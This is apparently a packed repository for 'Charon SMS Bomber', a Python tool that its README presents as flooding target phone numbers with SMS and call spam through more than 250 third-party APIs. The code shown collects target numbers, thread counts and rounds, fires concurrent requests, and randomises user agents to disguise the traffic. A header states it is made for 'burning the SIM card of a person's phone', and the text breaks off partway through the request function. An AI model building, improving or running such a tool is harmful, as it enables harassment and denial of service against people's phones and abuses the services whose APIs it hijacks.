├── version
├── requirements.txt
├── images
├── logo.png
├── prev1.png
├── prev2.png
└── prev3.png
├── Core
├── Functions.py
├── Log.py
├── Config.py
├── Banner.py
└── Api.py
├── README.md
├── .gitignore
├── LICENCE
└── chsmsbomber.py
/version:
--------------------------------------------------------------------------------
1 | 2.1.1
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | colorama
2 | requests
3 | fake-useragent
4 |
--------------------------------------------------------------------------------
/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/HEAD/images/logo.png
--------------------------------------------------------------------------------
/images/prev1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/HEAD/images/prev1.png
--------------------------------------------------------------------------------
/images/prev2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/HEAD/images/prev2.png
--------------------------------------------------------------------------------
/images/prev3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/HEAD/images/prev3.png
--------------------------------------------------------------------------------
/Core/Functions.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | def clear_screen():
4 | os.system('cls' if os.name == 'nt' else 'clear')
5 |
6 | def colorizeInput(prompt:str):
7 | print(prompt, end='', flush=True)
8 | ch = input()
9 | print()
10 | return ch
--------------------------------------------------------------------------------
/Core/Log.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 | from colorama import Fore, init
3 | init(True)
4 |
5 | class Logs:
6 | # def __init__(self) -> None:
7 | @staticmethod
8 | def gettime():
9 | return str(datetime.now().strftime("%H:%M:%S"))
10 | # def __init__(self):
11 | #
12 | # self.
13 | @staticmethod
14 | def success(text:str):
15 | return f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTGREEN_EX}SUCCESS{Fore.LIGHTBLUE_EX}]{Fore.LIGHTGREEN_EX} {text}"
16 |
17 | @staticmethod
18 | def failed(text:str):
19 | return f" {Fore.LIGHTBLUE_EX}[{Fore.LIGHTYELLOW_EX}{Fore.LIGHTYELLOW_EX}{Logs.gettime()}{Fore.LIGHTBLUE_EX}] [{Fore.LIGHTRED_EX}FAILED{Fore.LIGHTBLUE_EX}]{Fore.LIGHTRED_EX} {text}"
20 |
21 | @staticmethod
22 | def error(text):
23 | return f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTRED_EX}ERROR{Fore.CYAN}]{Fore.LIGHTRED_EX} {text}"
24 | @staticmethod
25 | def warning(text):
26 | return f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.YELLOW}WARNING{Fore.CYAN}]{Fore.YELLOW} {text}"
27 |
28 | @staticmethod
29 | def generalMessage(text):
30 | return (" " + text)
31 |
32 | @staticmethod
33 | def fetchMessage(text):
34 | return f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTCYAN_EX}FETCH{Fore.CYAN}]{Fore.LIGHTWHITE_EX} {text}"
--------------------------------------------------------------------------------
/Core/Config.py:
--------------------------------------------------------------------------------
1 | from colorama import Fore, init
2 | init()
3 |
4 | VERSION = "2.1.1"
5 | INPUT_HOME = f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTWHITE_EX}HOME{Fore.CYAN}]-[{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.WHITE} Choose > "
6 | INPUT_BACKMENU = f"\n\n {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTYELLOW_EX} Press {Fore.CYAN}[{Fore.LIGHTRED_EX}ENTER{Fore.CYAN}]{Fore.LIGHTYELLOW_EX} key to back to main menu ..."
7 | INPUT_EXIT = f"\n\n {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTYELLOW_EX} Press {Fore.CYAN}[{Fore.LIGHTRED_EX}ENTER{Fore.CYAN}]{Fore.LIGHTYELLOW_EX} key to exit ..."
8 | INPUT_START = f"\n {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.WHITE} Press {Fore.CYAN}[{Fore.YELLOW}CTRL+C{Fore.CYAN}]{Fore.WHITE} to stop the attacking or {Fore.CYAN}[{Fore.BLUE}ENTER{Fore.CYAN}]{Fore.WHITE} to start it"
9 |
10 | PROMPTS = [
11 | f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTWHITE_EX} Enter the target phone number (e.g,091234567890): ",
12 | f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTWHITE_EX} Enter number of threads (e.g, 10):{Fore.WHITE} ",
13 | f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTWHITE_EX} Enter the number of SMS sending rounds for each number {Fore.CYAN}({Fore.LIGHTYELLOW_EX}Max: 20{Fore.CYAN}):{Fore.WHITE} ",
14 | f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTWHITE_EX} Enter delay time in seconds (e.g., 1.5):{Fore.WHITE} ",
15 |
16 | ]
--------------------------------------------------------------------------------
/Core/Banner.py:
--------------------------------------------------------------------------------
1 | from Core.Functions import clear_screen
2 | from colorama import Fore, init
3 | init()
4 |
5 |
6 |
7 | class Banner:
8 | @staticmethod
9 | def DefaultBanner():
10 | clear_screen()
11 | return f"""{Fore.CYAN}
12 |
13 | ▄████▄ ██░ ██ ██████ ███▄ ▄███▓ ██████ ▄▄▄▄ ▒█████ ███▄ ▄███▓ ▄▄▄▄ ▓█████ ██▀███
14 | ▒██▀ ▀█ ▓██░ ██▒▒██ ▒ ▓██▒▀█▀ ██▒▒██ ▒ ▓█████▄ ▒██▒ ██▒▓██▒▀█▀ ██▒▓█████▄ ▓█ ▀ ▓██ ▒ ██▒
15 | ▒▓█ ▄ ▒██▀▀██░░ ▓██▄ ▓██ ▓██░░ ▓██▄ ▒██▒ ▄██▒██░ ██▒▓██ ▓██░▒██▒ ▄██▒███ ▓██ ░▄█ ▒
16 | ▒▓▓▄ ▄██▒░▓█ ░██ ▒ ██▒▒██ ▒██ ▒ ██▒▒██░█▀ ▒██ ██░▒██ ▒██ ▒██░█▀ ▒▓█ ▄ ▒██▀▀█▄
17 | ▒ ▓███▀ ░░▓█▒░██▓▒██████▒▒▒██▒ ░██▒▒██████▒▒░▓█ ▀█▓░ ████▓▒░▒██▒ ░██▒░▓█ ▀█▓░▒████▒░██▓ ▒██▒
18 | ░ ░▒ ▒ ░ ▒ ░░▒░▒▒ ▒▓▒ ▒ ░░ ▒░ ░ ░▒ ▒▓▒ ▒ ░░▒▓███▀▒░ ▒░▒░▒░ ░ ▒░ ░ ░░▒▓███▀▒░░ ▒░ ░░ ▒▓ ░▒▓░
19 | ░ ▒ ▒ ░▒░ ░░ ░▒ ░ ░░ ░ ░░ ░▒ ░ ░▒░▒ ░ ░ ▒ ▒░ ░ ░ ░▒░▒ ░ ░ ░ ░ ░▒ ░ ▒░
20 | ░ ░ ░░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░░ ░
21 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
22 | ░ ░ ░
23 | {Fore.LIGHTYELLOW_EX}Programming By {Fore.LIGHTWHITE_EX}AmirHossein Ghanami {Fore.LIGHTBLUE_EX}[ {Fore.LIGHTRED_EX}Ch4120N {Fore.LIGHTBLUE_EX}]
24 | """
25 |
26 | @staticmethod
27 | def AttackingBanner():
28 | clear_screen()
29 | return f"""{Fore.LIGHTRED_EX}
30 | ░█▀▀░█░█░█▀▀░█▄█░█▀▀░█▀▄░█▀█░█▄█░█▀▄░█▀▀░█▀▄
31 | ░█░░░█▀█░▀▀█░█░█░▀▀█░█▀▄░█░█░█░█░█▀▄░█▀▀░█▀▄
32 | ░▀▀▀░▀░▀░▀▀▀░▀░▀░▀▀▀░▀▀░░▀▀▀░▀░▀░▀▀░░▀▀▀░▀░▀
33 | By {Fore.LIGHTWHITE_EX}AmirHossein Ghanami {Fore.LIGHTBLUE_EX}[ {Fore.LIGHTRED_EX}Ch4120N {Fore.LIGHTBLUE_EX}]
34 | """
35 |
36 |
37 | class Menu:
38 | @staticmethod
39 | def MainMenu():
40 | return f"""
41 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}1{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Start
42 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}2{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Continue {Fore.LIGHTRED_EX}(DISABLED)
43 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}3{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Help
44 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}4{Fore.CYAN}]{Fore.LIGHTGREEN_EX} About
45 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}5{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Exit
46 | """
47 | @staticmethod
48 | def MainMenuContinue():
49 | return f"""
50 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}1{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Start
51 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}2{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Continue
52 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}3{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Help
53 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}4{Fore.CYAN}]{Fore.LIGHTGREEN_EX} About
54 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}5{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Exit
55 | """
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |

7 |
8 | # Charon SMS Bomber
9 |
10 | ### _**Attacking To Multiple Phone Numbers With SMS & CALL Spam**_
11 |
12 |

13 |

14 |

15 |
16 | > `Charon SMS Bomber` is a powerful open-source tool written in Python 3, designed to deliver massive volumes of SMS and call spam simultaneously to multiple target numbers.
17 | ---
18 |
19 |
20 | ## Project Programmer
21 |
22 | > Ch4120N - Ch4120N@Proton.me
23 |
24 | ## Made For
25 |
26 | > Attacking To Multiple Phone Numbers With SMS & CALL Spam
27 |
28 | ## 👀 Screenshot
29 |
30 |
31 |
32 |
33 |
34 | ## ⚓ Requires
35 |
36 | > Python3
37 |
38 | ### Installing Requirement Packages
39 |
40 | > python -m pip install -r requirements.txt
41 |
42 | ## ⚙️ Installation
43 |
44 | ### For Linux
45 |
46 | ```bash
47 | sudo apt install python3 git -y
48 | git clone https://github.com/Ch4120N/Charon-SMS-Bomber.git
49 | chmod 755 -R Charon-SMS-Bomber
50 | cd Charon-SMS-Bomber
51 | python -m pip install -r requirements.txt
52 | python chsmsbomber.py
53 | ```
54 |
55 | ### For Termux
56 |
57 | ```bash
58 | termux-setup-storage
59 | apt install python git -y
60 | git clone https://github.com/Ch4120N/Charon-SMS-Bomber.git
61 | chmod 755 -R Charon-SMS-Bomber
62 | cd Charon-SMS-Bomber
63 | python -m pip install -r requirements.txt
64 | python chsmsbomber.py
65 | ```
66 |
67 | ### For Windows
68 |
69 | If you have Git on your computer, you can use this installation guide:
70 |
71 | ```batch
72 | git clone https://github.com/Ch4120N/Charon-SMS-Bomber.git
73 | cd Charon-SMS-Bomber
74 | python -m pip install -r requirements.txt
75 | python chsmsbomber.py
76 | ```
77 |
78 | Otherwise, you can download the zip file from this [link](https://github.com/Ch4120N/Charon-SMS-Bomber/releases), extract it, and use it.
79 |
80 | ## 💻 Supported Operating Systems
81 |
82 | - [x] Debian
83 | - [x] Kali Linux
84 | - [x] Ubuntu
85 | - [x] Arch Linux
86 | - [x] Android (With Termux)
87 | - [x] Windows 7/8/10/11
88 |
89 | ## ✨ Features
90 |
91 | - **More Than 250 API For Attacking**
92 | - **Multi Target Phone Numbers**
93 | - **Config Persistence**
94 | - **Support Multi Processing**
95 | - **Update Checker**
96 | - **Good Design**
97 | - **Very High Speed**
98 | - **Advanced Error Handling**
99 |
100 | ## ❤️ Support the Project
101 | If you find this tool useful, consider donating:
102 |
103 | | Cryptocurrency | Address |
104 | | :------------- | :------------------------------------------- |
105 | | **BTC** | `bc1ql4syps7qpa3djqrxwht3g66tldyh4j7qsyjkq0` |
106 | | **ETH** | `0xfddbd535a4ad28792cbebceee3d6982d774e6d13` |
107 | | **USDT** | `3Cq6HRQsiwZFmPEQfG9eJkZE2QGChvf2VN` |
108 | > 💖 Your support helps keep the project alive and improving!
109 |
110 | ## 🚨 Reporting Issues
111 | > If you encounter bugs, configuration issues, or unexpected behavior, please reach out:
112 | 📩 Ch4120N@Proton.me
113 |
114 | ## ⚠️ Legal disclaimer ⚠️
115 |
116 | > Usage of `Charon SMS Bomber` for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
117 |
118 | ## Licence
119 |
120 | - CGBL (Charon General Black Licence)
121 |
122 | ---
123 |
124 |
125 | **⭐ If you like this project, don’t forget to give it a star!**
126 |
127 |
128 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[codz]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | share/python-wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 | MANIFEST
28 |
29 | # PyInstaller
30 | # Usually these files are written by a python script from a template
31 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
32 | *.manifest
33 | *.spec
34 |
35 | # Installer logs
36 | pip-log.txt
37 | pip-delete-this-directory.txt
38 |
39 | # Unit test / coverage reports
40 | htmlcov/
41 | .tox/
42 | .nox/
43 | .coverage
44 | .coverage.*
45 | .cache
46 | nosetests.xml
47 | coverage.xml
48 | *.cover
49 | *.py.cover
50 | .hypothesis/
51 | .pytest_cache/
52 | cover/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | .pybuilder/
76 | target/
77 |
78 | # Jupyter Notebook
79 | .ipynb_checkpoints
80 |
81 | # IPython
82 | profile_default/
83 | ipython_config.py
84 |
85 | # pyenv
86 | # For a library or package, you might want to ignore these files since the code is
87 | # intended to run in multiple environments; otherwise, check them in:
88 | # .python-version
89 |
90 | # pipenv
91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
94 | # install all needed dependencies.
95 | #Pipfile.lock
96 |
97 | # UV
98 | # Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control.
99 | # This is especially recommended for binary packages to ensure reproducibility, and is more
100 | # commonly ignored for libraries.
101 | #uv.lock
102 |
103 | # poetry
104 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
105 | # This is especially recommended for binary packages to ensure reproducibility, and is more
106 | # commonly ignored for libraries.
107 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
108 | #poetry.lock
109 | #poetry.toml
110 |
111 | # pdm
112 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
113 | # pdm recommends including project-wide configuration in pdm.toml, but excluding .pdm-python.
114 | # https://pdm-project.org/en/latest/usage/project/#working-with-version-control
115 | #pdm.lock
116 | #pdm.toml
117 | .pdm-python
118 | .pdm-build/
119 |
120 | # pixi
121 | # Similar to Pipfile.lock, it is generally recommended to include pixi.lock in version control.
122 | #pixi.lock
123 | # Pixi creates a virtual environment in the .pixi directory, just like venv module creates one
124 | # in the .venv directory. It is recommended not to include this directory in version control.
125 | .pixi
126 |
127 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
128 | __pypackages__/
129 |
130 | # Celery stuff
131 | celerybeat-schedule
132 | celerybeat.pid
133 |
134 | # SageMath parsed files
135 | *.sage.py
136 |
137 | # Environments
138 | .env
139 | .envrc
140 | .venv
141 | env/
142 | venv/
143 | ENV/
144 | env.bak/
145 | venv.bak/
146 |
147 | # Spyder project settings
148 | .spyderproject
149 | .spyproject
150 |
151 | # Rope project settings
152 | .ropeproject
153 |
154 | # mkdocs documentation
155 | /site
156 |
157 | # mypy
158 | .mypy_cache/
159 | .dmypy.json
160 | dmypy.json
161 |
162 | # Pyre type checker
163 | .pyre/
164 |
165 | # pytype static type analyzer
166 | .pytype/
167 |
168 | # Cython debug symbols
169 | cython_debug/
170 |
171 | # PyCharm
172 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
173 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
174 | # and can be added to the global gitignore or merged into this file. For a more nuclear
175 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
176 | #.idea/
177 |
178 | # Abstra
179 | # Abstra is an AI-powered process automation framework.
180 | # Ignore directories containing user credentials, local state, and settings.
181 | # Learn more at https://abstra.io/docs
182 | .abstra/
183 |
184 | # Visual Studio Code
185 | # Visual Studio Code specific template is maintained in a separate VisualStudioCode.gitignore
186 | # that can be found at https://github.com/github/gitignore/blob/main/Global/VisualStudioCode.gitignore
187 | # and can be added to the global gitignore or merged into this file. However, if you prefer,
188 | # you could uncomment the following to ignore the entire vscode folder
189 | # .vscode/
190 |
191 | # Ruff stuff:
192 | .ruff_cache/
193 |
194 | # PyPI configuration file
195 | .pypirc
196 |
197 | # Cursor
198 | # Cursor is an AI-powered code editor. `.cursorignore` specifies files/directories to
199 | # exclude from AI features like autocomplete and code analysis. Recommended for sensitive data
200 | # refer to https://docs.cursor.com/context/ignore-files
201 | .cursorignore
202 | .cursorindexingignore
203 |
204 | # Marimo
205 | marimo/_static/
206 | marimo/_lsp/
207 | __marimo__/
208 | .version
209 |
--------------------------------------------------------------------------------
/LICENCE:
--------------------------------------------------------------------------------
1 | Copyright <2025>
2 | This Program Is Free Software: You Can Redistribute It And/Or Modify It Under The Terms Of The Charon General Black License As Published By The Black Hacking Software Foundation.
3 |
4 | Terms and Conditions for Copying, Distribution, and Modification:
5 |
6 | Non-use of other licenses:
7 | Software or tools distributed under the CGBL license cannot utilize other licenses.
8 | This clause is designed to maintain integrity and consistency in the use of this license.
9 |
10 | Permitted Use:
11 | This software is designed solely for legal and ethical use.
12 | Usage for educational purposes, legal penetration testing, and security evaluation is permitted.
13 | Any unauthorized use, including illegal hacking, data theft, or unauthorized system intrusion, is prohibited.
14 |
15 | Usage Conditions:
16 | Users must ensure that all their activities comply with local, national, and international laws.
17 | Users must obtain necessary permissions from system owners before conducting any penetration testing or related security activities.
18 |
19 | Attribution Requirement (Mandatory Naming and Credit):
20 | 1. **General Principle**
21 | Every individual, group, or organization using this software, whether in original or modified form, must provide clear, visible, and unambiguous credit to the original author.
22 | The required attribution text is:
23 | " - Original Developer of "
24 |
25 | 2. **Forms of Attribution**
26 | Attribution must appear in *all* of the following contexts where the software is used, published, or distributed:
27 | - **Source Code:**
28 | The attribution must remain in the file headers of the source code and must not be removed, altered, or obscured.
29 | - **Documentation:**
30 | Any documentation (manuals, wikis, reports, tutorials) that describes, explains, or accompanies the software must include a section explicitly mentioning the author and the license.
31 | - **User Interfaces (if applicable):**
32 | If the software has a user interface (CLI, GUI, or Web-based), a visible credit must be included in the "About" section, splash screen, or footer.
33 | - **Public Presentations and Demonstrations:**
34 | When the software is shown in conferences, academic settings, media, or training, the attribution must be announced verbally and/or displayed on slides or materials.
35 | - **Redistribution:**
36 | Any redistributed copies of the software (modified or not) must contain the attribution in both binary and source form. If distributed as part of another project, the attribution must remain accessible and visible.
37 |
38 | 3. **Format of Attribution**
39 | Attribution must always contain:
40 | - The full name of the original author ()
41 | - The name of the software ()
42 | - A reference to the license type (CGBL License)
43 | - A link to the license page:
44 |
45 | Example:
46 | "This software includes components of , originally developed by , licensed under the CGBL License. See for details."
47 |
48 | 4. **Prohibited Practices Regarding Attribution**
49 | - Removing or hiding the attribution text.
50 | - Replacing the author’s name with another name without acknowledgment.
51 | - Presenting the work as entirely original without mentioning the source.
52 | - Using deceptive methods to minimize or obscure attribution.
53 |
54 | 5. **Modified Versions**
55 | If the software is modified, the modified version must clearly indicate:
56 | - The original author and project name.
57 | - A statement that the version is modified.
58 | - The identity of the person or entity responsible for the modifications.
59 | - The modified version must continue to comply with this attribution clause.
60 |
61 | 6. **Internal and Private Use**
62 | Even in private or internal use (within a company, organization, or personal project), the attribution must remain in the code headers and internal documentation.
63 | Removal of attribution, even for private forks, is considered a violation of this license.
64 |
65 | 7. **Academic and Research Use**
66 | In any academic work (papers, theses, projects) where the software is used, proper citation of the author and the license is mandatory. The citation must follow academic standards and include reference to the license link.
67 |
68 | User Responsibility:
69 | Users are responsible for any use of the software and must report all their activities transparently and document them.
70 | Users must not use the software to create, distribute, or execute malicious code (such as viruses, trojans, and malware).
71 |
72 | Data Protection:
73 | Users must comply with all data protection and privacy laws.
74 | Users must not collect, store, or process personal or sensitive information without explicit permission from the owners.
75 |
76 | Distribution of Modifications:
77 | Any modifications or changes to this software must be distributed under the same original license and include all the terms and conditions of this license.
78 | Users must fully document all changes and publish a copy of the documentation along with the modified software.
79 | All modifications must also preserve the attribution clause mentioned above.
80 |
81 | Developer Commitments:
82 | The developer commits to providing the software with high ethical and legal standards and ensuring no intentional backdoors, vulnerabilities, or malicious features exist in the software.
83 | The developer assumes no responsibility for misuse, illegal use, or unethical behavior by users; all responsibilities and liabilities rest with the users.
84 | The developer reserves the right to update and amend the terms of this license at any time, with or without prior notice to users.
85 |
86 | License Termination:
87 | This license will automatically terminate if any of the above conditions are violated, and users must immediately cease using the software.
88 | The developer reserves the right to block access to the software for users who violate the terms of the license at any time and without prior notice and may take legal action against such users.
89 | Upon termination of the license, users must destroy all copies of the software in their possession and confirm in writing to the developer that this condition has been met.
90 |
91 | Disclaimer of Warranty:
92 | This software is provided "as is," without any express or implied warranty, including but not limited to warranties of merchantability, fitness for a particular purpose, and non-infringement.
93 | The developer does not warrant that the software will meet users' requirements, that the operation of the software will be uninterrupted or error-free, or that any defects identified will be corrected.
94 | Users assume all risks associated with the use of this software, including but not limited to risks of data loss, system damage, or any other adverse effects resulting from the use or misuse of the software.
95 |
96 | Limitation of Liability:
97 | In no event shall the developer be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including but not limited to loss of use, data, or profits) arising from or in connection with the use or performance of this software, whether in contract, tort, or otherwise, even if advised of the possibility of such damages.
98 | The developer's total liability arising from or in connection with this license or the use of the software shall not exceed the amount paid by the user for the software, if any.
99 |
100 | For more details, See
101 |
--------------------------------------------------------------------------------
/chsmsbomber.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | ######################################################################################
4 | # About : #
5 | # #
6 | # Description: This Program Powered By Charon Security Agency #
7 | # Made for: Fun and burning the SIM card of a person's phone #
8 | # Programmer: AmirHossein Ghanami (Ch4120N) #
9 | # #
10 | # Copyright : #
11 | # #
12 | # Charon SMS Bomber (C) <2025> #
13 | # This Program Is Free Software: You Can Redistribute It #
14 | # It Under The Terms Of The `Charon General Black License` As Published By #
15 | # The Black Hacking Software Foundation , Either Version 1 Of The License. #
16 | # This Program Is Distributed In The Hope That It Will Be Useful, #
17 | # But Without Any Warranty . See The #
18 | # `Charon General Black License` For More Details. #
19 | # You Should Have Received A Copy Of The `Charon General Black License` #
20 | # Along With This Program. If Not, See #
21 | # #
22 | ######################################################################################
23 |
24 | import os
25 | import signal
26 | import json
27 | import sys
28 | import requests
29 | import time
30 | import webbrowser
31 | import concurrent.futures as confutures
32 | from Core.Config import *
33 | from Core.Functions import colorizeInput
34 | from Core.Banner import Banner, Menu
35 | from Core.Api import API_LIST, API_VERSION, API_LIST_COUNT
36 | from Core.Log import Logs
37 | from fake_useragent import UserAgent
38 |
39 | # Generate random User-Agent headers to make requests look less predictable
40 | ua = UserAgent()
41 |
42 |
43 | class ChSMSBomber:
44 | """
45 | ChSMSBomber - A multi-threaded SMS Bomber tool for educational/research use.
46 |
47 | Features:
48 | - Multi-target: Allows bombing multiple phone numbers at once.
49 | - Threading: Uses ThreadPoolExecutor for concurrent API requests.
50 | - Round-based: Can send multiple attack "rounds".
51 | - Config persistence: Saves attack parameters to continue.json for resuming.
52 | - Update checker: Automatically checks for new versions from GitHub.
53 | """
54 |
55 | def __init__(self):
56 | # Default runtime configuration
57 | self.REQUEST_TIMEOUT = 5 # Timeout for each request (seconds)
58 | self.REQUEST_DELAY = 0.05 # Delay between requests (seconds)
59 | self.targetPhoneNumber = [] # List of targets
60 | self.numThreads = 0 # Number of concurrent threads
61 | self.numRounds = 0 # Number of attack rounds
62 | self.API_LIST = [] # API endpoints for SMS sending
63 |
64 | # Attach signal handler for CTRL+C
65 | signal.signal(signal.SIGINT, self.CTRL_C_SIGNAL)
66 |
67 | # Show banner and check for updates
68 | print(Banner.DefaultBanner())
69 | self.check_update()
70 |
71 | # Menu loop
72 | while True:
73 | print(Banner.DefaultBanner())
74 |
75 | # If there’s a saved session, show "Continue" menu
76 | if os.path.exists("continue.json"):
77 | print(Menu.MainMenuContinue())
78 | else:
79 | print(Menu.MainMenu())
80 |
81 | try:
82 | mainMenuInputChoose = int(colorizeInput(INPUT_HOME))
83 |
84 | if mainMenuInputChoose == 1:
85 | self.startMain() # Start new bombing session
86 | elif mainMenuInputChoose == 2:
87 | self.continueMain() # Continue from saved configuration
88 | elif mainMenuInputChoose == 3:
89 | webbrowser.open("https://github.com/Ch4120N/Charon-SMS-Bomber")
90 | elif mainMenuInputChoose == 4:
91 | self.aboutMain() # Display about info
92 | elif mainMenuInputChoose == 5:
93 | # Exit cleanly
94 | print("\r" + Logs.error("Program Interrupted By User!"), flush=True)
95 | os.kill(os.getpid(), signal.SIGTERM)
96 | except ValueError:
97 | print(Logs.error("Invalid Value. Please Insert Number (e.g, 1)"))
98 | colorizeInput(INPUT_BACKMENU)
99 |
100 | def CTRL_C_SIGNAL(self, frm, func):
101 | """
102 | Graceful shutdown when user presses CTRL+C.
103 | """
104 | print("\n\n", "\r" + Logs.error("Program Interrupted!"), flush=True)
105 | os.kill(os.getpid(), signal.SIGTERM)
106 |
107 | def check_update(self):
108 | """
109 | Compare local VERSION with the GitHub version file.
110 | Terminates if update is available.
111 | """
112 | print(Logs.fetchMessage("Checking for updates ..."))
113 | fver = requests.get(
114 | "https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/master/version"
115 | ).text.strip()
116 |
117 | if fver != VERSION:
118 | print(Logs.generalMessage(
119 | f"{Fore.LIGHTRED_EX}An update available. "
120 | f"Please visit {Fore.LIGHTBLUE_EX}https://github.com/Ch4120N/Charon-SMS-Bomber"
121 | ))
122 | colorizeInput(INPUT_EXIT)
123 | sys.exit(1)
124 | else:
125 | print(Logs.generalMessage(f"{Fore.LIGHTGREEN_EX}ChSMSBomber is up to date"))
126 | time.sleep(1.5)
127 |
128 | def send_request(self, session, api_config):
129 | """
130 | Sends a request to an API endpoint.
131 |
132 | Args:
133 | session (requests.Session): Session object for efficiency.
134 | api_config (dict): Contains method, URL, headers, payload, etc.
135 |
136 | Returns:
137 | bool: True if success (status 2xx), False otherwise.
138 | """
139 | try:
140 | method = api_config.get("method", "POST").upper()
141 | url = api_config["url"]
142 |
143 | # Clone headers and inject random User-Agent
144 | headers = api_config.get("headers", {}).copy()
145 | headers['User-Agent'] = ua.random
146 |
147 | request_kwargs = {
148 | "headers": headers,
149 | "timeout": self.REQUEST_TIMEOUT,
150 | "verify": False # Disable SSL verification warnings
151 | }
152 |
153 | # Payload handling
154 | if "payload" in api_config:
155 | request_kwargs["json"] = api_config["payload"]
156 | elif "data" in api_config:
157 | data_str = api_config["data"]
158 | if isinstance(data_str, dict):
159 | data_str = json.dumps(data_str)
160 | try:
161 | request_kwargs["data"] = json.loads(data_str)
162 | except json.JSONDecodeError:
